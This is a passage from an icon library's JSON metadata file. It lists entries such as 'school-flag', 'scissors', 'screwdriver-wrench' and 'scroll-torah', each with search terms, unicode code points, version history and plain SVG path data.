16-7.2 16-16s-7.2-16-16-16H336V144c0-8.8-7.2-16-16-16zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm22.6-144l36.7 36.7c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0L496 390.6l-36.7 36.7c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6L473.4 368l-36.7-36.7c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L496 345.4l36.7-36.7c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6L518.6 368z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M337.8 5.4C327-1.8 313-1.8 302.2 5.4L166.3 96H48C21.5 96 0 117.5 0 144V464c0 26.5 21.5 48 48 48H320v0H256V416c0-35.3 28.7-64 64-64l.3 0h.5c3.4-37.7 18.7-72.1 42.2-99.1C350.2 260 335.6 264 320 264c-48.6 0-88-39.4-88-88s39.4-88 88-88s88 39.4 88 88c0 18.3-5.6 35.3-15.1 49.4c29-21 64.6-33.4 103.1-33.4c59.5 0 112.1 29.6 144 74.8V144c0-26.5-21.5-48-48-48H473.7L337.8 5.4zM96 192h32c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16V208c0-8.8 7.2-16 16-16zm0 128h32c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16V336c0-8.8 7.2-16 16-16zM320 128c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16s-7.2-16-16-16H336V144c0-8.8-7.2-16-16-16zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm22.6-144l36.7 36.7c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0L496 390.6l-36.7 36.7c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6L473.4 368l-36.7-36.7c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L496 345.4l36.7-36.7c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6L518.6 368z"
      }
    },
    "free": ["solid"]
  },
  "school-flag": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["educate", "flag", "school", "schoolhouse"]
    },
    "styles": ["solid"],
    "unicode": "e56e",
    "label": "School Flag",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M288 0H400c8.8 0 16 7.2 16 16V80c0 8.8-7.2 16-16 16H320.7l89.6 64H512c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H336V400c0-26.5-21.5-48-48-48s-48 21.5-48 48V512H64c-35.3 0-64-28.7-64-64V224c0-35.3 28.7-64 64-64H165.7L256 95.5V32c0-17.7 14.3-32 32-32zm48 240a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM80 224c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H80zm368 16v64c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H464c-8.8 0-16 7.2-16 16zM80 352c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V368c0-8.8-7.2-16-16-16H80zm384 0c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V368c0-8.8-7.2-16-16-16H464z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M288 0H400c8.8 0 16 7.2 16 16V80c0 8.8-7.2 16-16 16H320.7l89.6 64H512c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H336V400c0-26.5-21.5-48-48-48s-48 21.5-48 48V512H64c-35.3 0-64-28.7-64-64V224c0-35.3 28.7-64 64-64H165.7L256 95.5V32c0-17.7 14.3-32 32-32zm48 240a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM80 224c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H80zm368 16v64c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H464c-8.8 0-16 7.2-16 16zM80 352c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V368c0-8.8-7.2-16-16-16H80zm384 0c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V368c0-8.8-7.2-16-16-16H464z"
      }
    },
    "free": ["solid"]
  },
  "school-lock": {
    "changes": ["6.1.0", "6.2.0", "6.2.1", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["closed", "lockdown", "quarantine", "schoolhouse"]
    },
    "styles": ["solid"],
    "unicode": "e56f",
    "label": "School Lock",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M302.2 5.4c10.7-7.2 24.8-7.2 35.5 0L473.7 96H592c26.5 0 48 21.5 48 48V272c0-61.9-50.1-112-112-112s-112 50.1-112 112v24.6c-19.1 11.1-32 31.7-32 55.4H320.3l-.3 0c-35.3 0-64 28.7-64 64v96h64v0H48c-26.5 0-48-21.5-48-48V144c0-26.5 21.5-48 48-48H166.3L302.2 5.4zM80 208v64c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V208c0-8.8-7.2-16-16-16H96c-8.8 0-16 7.2-16 16zm0 128v64c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V336c0-8.8-7.2-16-16-16H96c-8.8 0-16 7.2-16 16zm240-72a88 88 0 1 0 0-176 88 88 0 1 0 0 176zm16-120v16h16c8.8 0 16 7.2 16 16s-7.2 16-16 16H320c-8.8 0-16-7.2-16-16V144c0-8.8 7.2-16 16-16s16 7.2 16 16zm192 96c-17.7 0-32 14.3-32 32v48h64V272c0-17.7-14.3-32-32-32zm-80 32c0-44.2 35.8-80 80-80s80 35.8 80 80v48c17.7 0 32 14.3 32 32V480c0 17.7-14.3 32-32 32H448c-17.7 0-32-14.3-32-32V352c0-17.7 14.3-32 32-32V272z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M302.2 5.4c10.7-7.2 24.8-7.2 35.5 0L473.7 96H592c26.5 0 48 21.5 48 48V272c0-61.9-50.1-112-112-112s-112 50.1-112 112v24.6c-19.1 11.1-32 31.7-32 55.4H320.3l-.3 0c-35.3 0-64 28.7-64 64v96h64v0H48c-26.5 0-48-21.5-48-48V144c0-26.5 21.5-48 48-48H166.3L302.2 5.4zM80 208v64c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V208c0-8.8-7.2-16-16-16H96c-8.8 0-16 7.2-16 16zm0 128v64c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V336c0-8.8-7.2-16-16-16H96c-8.8 0-16 7.2-16 16zm240-72a88 88 0 1 0 0-176 88 88 0 1 0 0 176zm16-120v16h16c8.8 0 16 7.2 16 16s-7.2 16-16 16H320c-8.8 0-16-7.2-16-16V144c0-8.8 7.2-16 16-16s16 7.2 16 16zm192 96c-17.7 0-32 14.3-32 32v48h64V272c0-17.7-14.3-32-32-32zm-80 32c0-44.2 35.8-80 80-80s80 35.8 80 80v48c17.7 0 32 14.3 32 32V480c0 17.7-14.3 32-32 32H448c-17.7 0-32-14.3-32-32V352c0-17.7 14.3-32 32-32V272z"
      }
    },
    "free": ["solid"]
  },
  "scissors": {
    "aliases": {
      "names": ["cut"],
      "unicodes": {
        "composite": ["2700", "2702", "2704"],
        "secondary": ["10f0c4"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.1.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Black Safety Scissors",
        "White Scissors",
        "clip",
        "cutting",
        "scissors",
        "snip",
        "tool"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0c4",
    "label": "Scissors",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 192l-39.5-39.5c4.9-12.6 7.5-26.2 7.5-40.5C224 50.1 173.9 0 112 0S0 50.1 0 112s50.1 112 112 112c14.3 0 27.9-2.7 40.5-7.5L192 256l-39.5 39.5c-12.6-4.9-26.2-7.5-40.5-7.5C50.1 288 0 338.1 0 400s50.1 112 112 112s112-50.1 112-112c0-14.3-2.7-27.9-7.5-40.5L499.2 76.8c7.1-7.1 7.1-18.5 0-25.6c-28.3-28.3-74.1-28.3-102.4 0L256 192zm22.6 150.6L396.8 460.8c28.3 28.3 74.1 28.3 102.4 0c7.1-7.1 7.1-18.5 0-25.6L342.6 278.6l-64 64zM64 112a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm48 240a48 48 0 1 1 0 96 48 48 0 1 1 0-96z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 192l-39.5-39.5c4.9-12.6 7.5-26.2 7.5-40.5C224 50.1 173.9 0 112 0S0 50.1 0 112s50.1 112 112 112c14.3 0 27.9-2.7 40.5-7.5L192 256l-39.5 39.5c-12.6-4.9-26.2-7.5-40.5-7.5C50.1 288 0 338.1 0 400s50.1 112 112 112s112-50.1 112-112c0-14.3-2.7-27.9-7.5-40.5L499.2 76.8c7.1-7.1 7.1-18.5 0-25.6c-28.3-28.3-74.1-28.3-102.4 0L256 192zm22.6 150.6L396.8 460.8c28.3 28.3 74.1 28.3 102.4 0c7.1-7.1 7.1-18.5 0-25.6L342.6 278.6l-64 64zM64 112a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm48 240a48 48 0 1 1 0 96 48 48 0 1 1 0-96z"
      }
    },
    "free": ["solid"]
  },
  "screenpal": {
    "changes": ["6.1.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e570",
    "label": "Screenpal",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014465,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M233.5 22.49C233.5 10.07 243.6 0 256 0C268.4 0 278.5 10.07 278.5 22.49C278.5 34.91 268.4 44.98 256 44.98C243.6 44.98 233.5 34.91 233.5 22.49zM313.4 259C313.4 290.7 287.7 316.4 256 316.4C224.3 316.4 198.6 290.7 198.6 259C198.6 227.3 224.3 201.6 256 201.6C287.7 201.6 313.4 227.3 313.4 259zM337.2 350C359.5 330.1 373.7 302.7 377.1 273H496.6C493.1 334.4 466.2 392.2 421.4 434.4C376.7 476.6 317.5 500.2 256 500.2C194.5 500.2 135.3 476.6 90.56 434.4C45.83 392.2 18.94 334.4 15.39 273H135.1C138.5 302.7 152.7 330.1 175 350C197.3 369.9 226.2 380.9 256.1 380.9C285.1 380.9 314.8 369.9 337.2 350zM73.14 140.3C73.54 152.7 63.81 163.1 51.39 163.5C38.97 163.9 28.59 154.2 28.18 141.8C27.78 129.3 37.52 118.9 49.94 118.5C62.35 118.1 72.74 127.9 73.14 140.3zM438.9 141C438.9 128.6 448.9 118.5 461.4 118.5C473.8 118.5 483.8 128.6 483.8 141C483.8 153.5 473.8 163.5 461.4 163.5C448.9 163.5 438.9 153.5 438.9 141zM317.9 95.27C300.6 109.1 278.7 118.1 256 118.1C233.3 118.1 211.4 109.1 194.1 95.27C176.8 80.55 165.3 60.18 161.7 37.78C176.8 31.37 192.5 26.52 208.6 23.31C208.6 35.88 213.6 47.93 222.5 56.82C231.4 65.7 243.4 70.7 256 70.7C268.6 70.7 280.6 65.7 289.5 56.82C298.4 47.93 303.4 35.88 303.4 23.31C319.5 26.52 335.2 31.37 350.3 37.78C346.7 60.18 335.2 80.55 317.9 95.27H317.9zM82.78 231C61.42 238.6 38.06 238.4 16.86 230.4C18.82 214.1 22.46 198.1 27.71 182.5C33.1 185.6 39.05 187.6 45.22 188.5C51.39 189.3 57.67 188.9 63.68 187.3C69.69 185.6 75.33 182.9 80.27 179.1C85.21 175.3 89.36 170.6 92.47 165.2C95.58 159.8 97.61 153.8 98.42 147.7C99.23 141.5 98.83 135.2 97.22 129.2C95.61 123.2 92.83 117.6 89.04 112.6C85.25 107.7 80.53 103.5 75.14 100.4C85.96 88.11 98.01 76.94 111.1 67.07C128.7 81.42 140.6 101.6 144.7 123.9C148.8 146.2 144.8 169.3 133.5 188.9C122.1 208.5 104.1 223.4 82.78 231V231zM429.2 231.1C407.9 223.5 389.9 208.5 378.5 188.9C367.2 169.3 363.3 146.2 367.4 123.9C371.5 101.7 383.4 81.54 400.9 67.19C414 77.04 426.1 88.21 436.9 100.5C426.2 106.9 418.5 117.2 415.4 129.3C412.2 141.3 413.1 154.1 420.2 164.9C426.4 175.7 436.6 183.6 448.6 186.9C460.6 190.2 473.5 188.6 484.3 182.6C489.6 198.1 493.2 214.2 495.2 230.4C473.1 238.5 450.6 238.7 429.2 231.1L429.2 231.1z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M233.5 22.49C233.5 10.07 243.6 0 256 0C268.4 0 278.5 10.07 278.5 22.49C278.5 34.91 268.4 44.98 256 44.98C243.6 44.98 233.5 34.91 233.5 22.49zM313.4 259C313.4 290.7 287.7 316.4 256 316.4C224.3 316.4 198.6 290.7 198.6 259C198.6 227.3 224.3 201.6 256 201.6C287.7 201.6 313.4 227.3 313.4 259zM337.2 350C359.5 330.1 373.7 302.7 377.1 273H496.6C493.1 334.4 466.2 392.2 421.4 434.4C376.7 476.6 317.5 500.2 256 500.2C194.5 500.2 135.3 476.6 90.56 434.4C45.83 392.2 18.94 334.4 15.39 273H135.1C138.5 302.7 152.7 330.1 175 350C197.3 369.9 226.2 380.9 256.1 380.9C285.1 380.9 314.8 369.9 337.2 350zM73.14 140.3C73.54 152.7 63.81 163.1 51.39 163.5C38.97 163.9 28.59 154.2 28.18 141.8C27.78 129.3 37.52 118.9 49.94 118.5C62.35 118.1 72.74 127.9 73.14 140.3zM438.9 141C438.9 128.6 448.9 118.5 461.4 118.5C473.8 118.5 483.8 128.6 483.8 141C483.8 153.5 473.8 163.5 461.4 163.5C448.9 163.5 438.9 153.5 438.9 141zM317.9 95.27C300.6 109.1 278.7 118.1 256 118.1C233.3 118.1 211.4 109.1 194.1 95.27C176.8 80.55 165.3 60.18 161.7 37.78C176.8 31.37 192.5 26.52 208.6 23.31C208.6 35.88 213.6 47.93 222.5 56.82C231.4 65.7 243.4 70.7 256 70.7C268.6 70.7 280.6 65.7 289.5 56.82C298.4 47.93 303.4 35.88 303.4 23.31C319.5 26.52 335.2 31.37 350.3 37.78C346.7 60.18 335.2 80.55 317.9 95.27H317.9zM82.78 231C61.42 238.6 38.06 238.4 16.86 230.4C18.82 214.1 22.46 198.1 27.71 182.5C33.1 185.6 39.05 187.6 45.22 188.5C51.39 189.3 57.67 188.9 63.68 187.3C69.69 185.6 75.33 182.9 80.27 179.1C85.21 175.3 89.36 170.6 92.47 165.2C95.58 159.8 97.61 153.8 98.42 147.7C99.23 141.5 98.83 135.2 97.22 129.2C95.61 123.2 92.83 117.6 89.04 112.6C85.25 107.7 80.53 103.5 75.14 100.4C85.96 88.11 98.01 76.94 111.1 67.07C128.7 81.42 140.6 101.6 144.7 123.9C148.8 146.2 144.8 169.3 133.5 188.9C122.1 208.5 104.1 223.4 82.78 231V231zM429.2 231.1C407.9 223.5 389.9 208.5 378.5 188.9C367.2 169.3 363.3 146.2 367.4 123.9C371.5 101.7 383.4 81.54 400.9 67.19C414 77.04 426.1 88.21 436.9 100.5C426.2 106.9 418.5 117.2 415.4 129.3C412.2 141.3 413.1 154.1 420.2 164.9C426.4 175.7 436.6 183.6 448.6 186.9C460.6 190.2 473.5 188.6 484.3 182.6C489.6 198.1 493.2 214.2 495.2 230.4C473.1 238.5 450.6 238.7 429.2 231.1L429.2 231.1z"
      }
    },
    "free": ["brands"]
  },
  "screwdriver": {
    "aliases": {
      "unicodes": {
        "composite": ["1fa9b"],
        "secondary": ["10f54a"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "admin",
        "fix",
        "mechanic",
        "repair",
        "screw",
        "screwdriver",
        "settings",
        "tool"
      ]
    },
    "styles": ["solid"],
    "unicode": "f54a",
    "label": "Screwdriver",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M465 7c-8.5-8.5-22-9.4-31.6-2.1l-104 80c-5.9 4.5-9.4 11.6-9.4 19v54.1l-85.6 85.6c6.7 4.2 13 9.3 18.8 15.1s10.9 12.2 15.1 18.8L353.9 192H408c7.5 0 14.5-3.5 19-9.4l80-104c7.4-9.6 6.5-23.1-2.1-31.6L465 7zM121.4 281.4l-112 112c-12.5 12.5-12.5 32.8 0 45.3l64 64c12.5 12.5 32.8 12.5 45.3 0l112-112c30.2-30.2 30.2-79.1 0-109.3s-79.1-30.2-109.3 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M465 7c-8.5-8.5-22-9.4-31.6-2.1l-104 80c-5.9 4.5-9.4 11.6-9.4 19v54.1l-85.6 85.6c6.7 4.2 13 9.3 18.8 15.1s10.9 12.2 15.1 18.8L353.9 192H408c7.5 0 14.5-3.5 19-9.4l80-104c7.4-9.6 6.5-23.1-2.1-31.6L465 7zM121.4 281.4l-112 112c-12.5 12.5-12.5 32.8 0 45.3l64 64c12.5 12.5 32.8 12.5 45.3 0l112-112c30.2-30.2 30.2-79.1 0-109.3s-79.1-30.2-109.3 0z"
      }
    },
    "free": ["solid"]
  },
  "screwdriver-wrench": {
    "aliases": {
      "names": ["tools"],
      "unicodes": {
        "secondary": ["10f7d9"]
      }
    },
    "changes": ["5.6.0", "5.10.2", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "admin",
        "fix",
        "repair",
        "screwdriver",
        "settings",
        "tools",
        "wrench"
      ]
    },
    "styles": ["solid"],
    "unicode": "f7d9",
    "label": "Screwdriver Wrench",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M78.6 5C69.1-2.4 55.6-1.5 47 7L7 47c-8.5 8.5-9.4 22-2.1 31.6l80 104c4.5 5.9 11.6 9.4 19 9.4h54.1l109 109c-14.7 29-10 65.4 14.3 89.6l112 112c12.5 12.5 32.8 12.5 45.3 0l64-64c12.5-12.5 12.5-32.8 0-45.3l-112-112c-24.2-24.2-60.6-29-89.6-14.3l-109-109V104c0-7.5-3.5-14.5-9.4-19L78.6 5zM19.9 396.1C7.2 408.8 0 426.1 0 444.1C0 481.6 30.4 512 67.9 512c18 0 35.3-7.2 48-19.9L233.7 374.3c-7.8-20.9-9-43.6-3.6-65.1l-61.7-61.7L19.9 396.1zM512 144c0-10.5-1.1-20.7-3.2-30.5c-2.4-11.2-16.1-14.1-24.2-6l-63.9 63.9c-3 3-7.1 4.7-11.3 4.7H352c-8.8 0-16-7.2-16-16V102.6c0-4.2 1.7-8.3 4.7-11.3l63.9-63.9c8.1-8.1 5.2-21.8-6-24.2C388.7 1.1 378.5 0 368 0C288.5 0 224 64.5 224 144l0 .8 85.3 85.3c36-9.1 75.8 .5 104 28.7L429 274.5c49-23 83-72.8 83-130.5zM56 432a24 24 0 1 1 48 0 24 24 0 1 1 -48 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M78.6 5C69.1-2.4 55.6-1.5 47 7L7 47c-8.5 8.5-9.4 22-2.1 31.6l80 104c4.5 5.9 11.6 9.4 19 9.4h54.1l109 109c-14.7 29-10 65.4 14.3 89.6l112 112c12.5 12.5 32.8 12.5 45.3 0l64-64c12.5-12.5 12.5-32.8 0-45.3l-112-112c-24.2-24.2-60.6-29-89.6-14.3l-109-109V104c0-7.5-3.5-14.5-9.4-19L78.6 5zM19.9 396.1C7.2 408.8 0 426.1 0 444.1C0 481.6 30.4 512 67.9 512c18 0 35.3-7.2 48-19.9L233.7 374.3c-7.8-20.9-9-43.6-3.6-65.1l-61.7-61.7L19.9 396.1zM512 144c0-10.5-1.1-20.7-3.2-30.5c-2.4-11.2-16.1-14.1-24.2-6l-63.9 63.9c-3 3-7.1 4.7-11.3 4.7H352c-8.8 0-16-7.2-16-16V102.6c0-4.2 1.7-8.3 4.7-11.3l63.9-63.9c8.1-8.1 5.2-21.8-6-24.2C388.7 1.1 378.5 0 368 0C288.5 0 224 64.5 224 144l0 .8 85.3 85.3c36-9.1 75.8 .5 104 28.7L429 274.5c49-23 83-72.8 83-130.5zM56 432a24 24 0 1 1 48 0 24 24 0 1 1 -48 0z"
      }
    },
    "free": ["solid"]
  },
  "scribd": {
    "changes": ["4.5.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f28a",
    "label": "Scribd",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014477,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M42.3 252.7c-16.1-19-24.7-45.9-24.8-79.9 0-100.4 75.2-153.1 167.2-153.1 98.6-1.6 156.8 49 184.3 70.6l-50.5 72.1-37.3-24.6 26.9-38.6c-36.5-24-79.4-36.5-123-35.8-50.7-.8-111.7 27.2-111.7 76.2 0 18.7 11.2 20.7 28.6 15.6 23.3-5.3 41.9.6 55.8 14 26.4 24.3 23.2 67.6-.7 91.9-29.2 29.5-85.2 27.3-114.8-8.4zm317.7 5.9c-15.5-18.8-38.9-29.4-63.2-28.6-38.1-2-71.1 28-70.5 67.2-.7 16.8 6 33 18.4 44.3 14.1 13.9 33 19.7 56.3 14.4 17.4-5.1 28.6-3.1 28.6 15.6 0 4.3-.5 8.5-1.4 12.7-16.7 40.9-59.5 64.4-121.4 64.4-51.9.2-102.4-16.4-144.1-47.3l33.7-39.4-35.6-27.4L0 406.3l15.4 13.8c52.5 46.8 120.4 72.5 190.7 72.2 51.4 0 94.4-10.5 133.6-44.1 57.1-51.4 54.2-149.2 20.3-189.6z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M42.3 252.7c-16.1-19-24.7-45.9-24.8-79.9 0-100.4 75.2-153.1 167.2-153.1 98.6-1.6 156.8 49 184.3 70.6l-50.5 72.1-37.3-24.6 26.9-38.6c-36.5-24-79.4-36.5-123-35.8-50.7-.8-111.7 27.2-111.7 76.2 0 18.7 11.2 20.7 28.6 15.6 23.3-5.3 41.9.6 55.8 14 26.4 24.3 23.2 67.6-.7 91.9-29.2 29.5-85.2 27.3-114.8-8.4zm317.7 5.9c-15.5-18.8-38.9-29.4-63.2-28.6-38.1-2-71.1 28-70.5 67.2-.7 16.8 6 33 18.4 44.3 14.1 13.9 33 19.7 56.3 14.4 17.4-5.1 28.6-3.1 28.6 15.6 0 4.3-.5 8.5-1.4 12.7-16.7 40.9-59.5 64.4-121.4 64.4-51.9.2-102.4-16.4-144.1-47.3l33.7-39.4-35.6-27.4L0 406.3l15.4 13.8c52.5 46.8 120.4 72.5 190.7 72.2 51.4 0 94.4-10.5 133.6-44.1 57.1-51.4 54.2-149.2 20.3-189.6z"
      }
    },
    "free": ["brands"]
  },
  "scroll": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4dc"],
        "secondary": ["10f70e"]
      }
    },
    "changes": ["5.4.0", "5.10.2", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Dungeons & Dragons",
        "announcement",
        "d&d",
        "dnd",
        "fantasy",
        "paper",
        "script",
        "scroll"
      ]
    },
    "styles": ["solid"],
    "unicode": "f70e",
    "label": "Scroll",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767392,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 80v48c0 17.7 14.3 32 32 32H48 96V80c0-26.5-21.5-48-48-48S0 53.5 0 80zM112 32c10 13.4 16 30 16 48V384c0 35.3 28.7 64 64 64s64-28.7 64-64v-5.3c0-32.4 26.3-58.7 58.7-58.7H480V128c0-53-43-96-96-96H112zM464 480c61.9 0 112-50.1 112-112c0-8.8-7.2-16-16-16H314.7c-14.7 0-26.7 11.9-26.7 26.7V384c0 53-43 96-96 96H368h96z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M0 80v48c0 17.7 14.3 32 32 32H48 96V80c0-26.5-21.5-48-48-48S0 53.5 0 80zM112 32c10 13.4 16 30 16 48V384c0 35.3 28.7 64 64 64s64-28.7 64-64v-5.3c0-32.4 26.3-58.7 58.7-58.7H480V128c0-53-43-96-96-96H112zM464 480c61.9 0 112-50.1 112-112c0-8.8-7.2-16-16-16H314.7c-14.7 0-26.7 11.9-26.7 26.7V384c0 53-43 96-96 96H368h96z"
      }
    },
    "free": ["solid"]
  },
  "scroll-torah": {
    "aliases": {
      "names": ["torah"],
      "unicodes": {
        "secondary": ["10f6a0"]
      }
    },
    "changes": [
      "5.3.0",
      "5.7.0",
      "5.9.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["book", "jewish", "judaism", "religion", "scroll"]
    },
    "styles": ["solid"],
    "unicode": "f6a0",
    "label": "Scroll Torah",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767393,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M96 480V32C96 14.3 74.5 0 48 0S0 14.3 0 32V480c0 17.7 21.5 32 48 32s48-14.3 48-32zM512 32H128V480H512V32zM592 0c-26.5 0-48 14.3-48 32V480c0 17.7 21.5 32 48 32s48-14.3 48-32V32c0-17.7-21.5-32-48-32zM196 313.7c0-3.2 .9-6.4 2.5-9.2L226.7 256l-28.3-48.5c-1.6-2.8-2.5-6-2.5-9.2c0-10.1 8.2-18.3 18.3-18.3H271l31.4-53.9c3.6-6.3 10.3-10.1 17.6-10.1s13.9 3.8 17.6 10.1L369 180h56.7c10.1 0 18.3 8.2 18.3 18.3c0 3.2-.9 6.4-2.5 9.2L413.3 256l28.3 48.5c1.6 2.8 2.5 6 2.5 9.2c0 10.1-8.2 18.3-18.3 18.3H369l-31.4 53.9c-3.6 6.3-10.3 10.1-17.6 10.1s-13.9-3.8-17.6-10.1L271 332H214.3c-10.1 0-18.3-8.2-18.3-18.3zm124 54.7L341.2 332H298.8L320 368.4zM254.5 256l30.3 52h70.4l30.3-52-30.3-52H284.8l-30.3 52zm144.9 23.8L383 308h32.8l-16.4-28.2zM415.8 204H383l16.4 28.2L415.8 204zM320 143.6L298.8 180h42.4L320 143.6zM224.2 204l16.4 28.2L257 204H224.2zM257 308l-16.4-28.2L224.2 308H257z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M96 480V32C96 14.3 74.5 0 48 0S0 14.3 0 32V480c0 17.7 21.5 32 48 32s48-14.3 48-32zM512 32H128V480H512V32zM592 0c-26.5 0-48 14.3-48 32V480c0 17.7 21.5 32 48 32s48-14.3 48-32V32c0-17.7-21.5-32-48-32zM196 313.7c0-3.2 .9-6.4 2.5-9.2L226.7 256l-28.3-48.5c-1.6-2.8-2.5-6-2.5-9.2c0-10.1 8.2-18.3 18.3-18.3H271l31.4-53.9c3.6-6.3 10.3-10.1 17.6-10.1s13.9 3.8 17.6 10.1L369 180h56.7c10.1 0 18.3 8.2 18.3 18.3c0 3.2-.9 6.4-2.5 9.2L413.3 256l28.3 48.5c1.6 2.8 2.5 6 2.5 9.2c0 10.1-8.2 18.3-18.3 18.3H369l-31.4 53.9c-3.6 6.3-10.3 10.1-17.6 10.1s-13.9-3.8-17.6-10.1L271 332H214.3c-10.1 0-18.3-8.2-18.3-18.3zm124 54.7L341.2 332H298.8L320 368.4zM254.5 256l30.3 52h70.4l30.3-52-30.3-52H284.8l-30.3 52zm144.9 23.8L383 308h32.8l-16.4-28.2zM415.8 204H383l16.4 28.2L415.8 204zM320 143.6L298.8 180h42.4L320 143.6zM224.2 204l16.4 28.2L257 204H224.2zM257 308l-16.4-28.2L224.2 308H257z"
      }
    },
    "free": ["solid"]
  },
  "sd-card": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f7c2"]
      }
    },
    "changes": ["5.6.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["image", "memory", "photo", "save"]
    },
    "styles": ["solid"],
    "unicode": "f7c2",
    "label": "Sd Card",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767341,
